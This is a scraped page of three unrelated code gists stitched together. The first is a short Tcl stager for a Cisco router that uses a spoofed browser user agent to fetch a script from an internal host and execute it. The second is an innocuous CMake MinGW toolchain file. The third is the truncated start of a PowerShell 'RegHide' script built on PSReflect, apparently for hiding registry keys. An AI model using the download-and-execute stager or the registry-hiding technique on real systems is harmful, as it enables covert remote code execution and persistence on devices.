This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # stage.tcl | |
| set id "cisco-R1" | |
| source "tmpsys:lib/tcl/http.tcl" | |
| ::http::config -useragent "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36 OPR/48.0.2685.32" | |
| set httpToken [::http::geturl http://10.0.0.3/static/$id] | |
| if {[lindex [split [::http::code $httpToken] " "] 1] == "200"} { | |
| source [::http::data $httpToken] | |
| } |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # Sample toolchain file for building for Windows from an Ubuntu Linux system. | |
| # | |
| # Typical usage: | |
| # *) install cross compiler: `sudo apt-get install mingw-w64` or `brew install mingw-w64` on macOS | |
| # *) cmake -DCMAKE_TOOLCHAIN_FILE=~/mingw-w64-x86_64.cmake -G Ninja -B build -S . | |
| # *) ninja -C build | |
| set(CMAKE_SYSTEM_NAME Windows) | |
| set(TOOLCHAIN_PREFIX x86_64-w64-mingw32) |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| # requires PSReflect.ps1 to be in the same directory as this script | |
| . .\PSReflect.ps1 | |
| $Module = New-InMemoryModule -ModuleName RegHide | |
| # Define our structs. | |
| # https://msdn.microsoft.com/en-us/library/windows/hardware/ff564879(v=vs.85).aspx | |
| # typedef struct _UNICODE_STRING { | |
| # USHORT Length; | |
| # USHORT MaximumLength; |